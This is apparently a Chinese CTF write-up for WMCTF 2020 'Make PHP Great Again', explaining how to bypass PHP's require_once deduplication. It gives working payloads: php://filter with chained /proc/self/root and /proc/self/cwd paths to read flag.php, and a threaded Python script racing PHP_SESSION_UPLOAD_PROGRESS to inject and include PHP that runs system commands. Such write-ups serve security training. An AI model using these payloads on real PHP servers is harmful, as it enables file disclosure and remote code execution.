2020WMCTF-Make PHP Great Again
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}
https://www.cnblogs.com/hello-py/articles/13508359.html
在调用require_once时php会检查该文件是否已经被包含过,如果是则不会再次包含。具体来讲,PHP的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中,当已经require_once('flag.php')
,那么后面这个flag.php就不能再被require_once。
怎么绕过这个哈希表,既可以让PHP认为我们传入的文件名不在哈希表中,又可以让PHP能找到这个文件,读取到内容?
法一 /proc/self/root/
这里用到了一个tips,/proc/self/root/
是指向/
的符号链接,所以我们可以用伪协议配合多级符号链接的方法进行绕过。
/proc/self/cwd/
是一个符号链接,它指向当前进程的当前工作目录
payload:
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
注意/proc/self/root/的个数要足够多
法二 /proc/self/cwd/
?file=php://filter/convert.base64-encode/resource=../../../../../../proc/self/cwd/flag.php
flag{e9c528ba-dad2-4f6e-bcce-8beb6e1549c7}
法三 session文件包含
import io
import sys
import requests
import threading
host = 'http://5cc1a963-0e2a-47bd-99ee-c73fa2223142.node5.buuoj.cn:81/'
sessid = 'feng'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag.php');echo md5('1');?>"},
files={"file":('a.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(f'{host}?file=/tmp/sess_{sessid}')
# print(response.text)
if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
效果: